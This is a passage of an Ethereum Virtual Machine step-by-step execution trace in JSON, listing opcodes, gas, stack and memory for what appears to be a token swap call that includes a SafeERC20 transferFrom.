0000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11933,"op":"JUMPI","gas":79265,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11934,"op":"PUSH1","gas":79255,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11936,"op":"DUP1","gas":79252,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11937,"op":"DUP5","gas":79249,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11938,"op":"DUP4","gas":79246,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11939,"op":"DUP2","gas":79243,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11940,"op":"MLOAD","gas":79240,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11941,"op":"DUP2","gas":79237,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11942,"op":"LT","gas":79234,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11943,"op":"PUSH2","gas":79231,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11946,"op":"JUMPI","gas":79228,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x1","0x2eb2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11954,"op":"JUMPDEST","gas":79218,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11955,"op":"PUSH1","gas":79217,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11957,"op":"MUL","gas":79214,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0","0x0","0x324","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11958,"op":"PUSH1","gas":79209,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x0",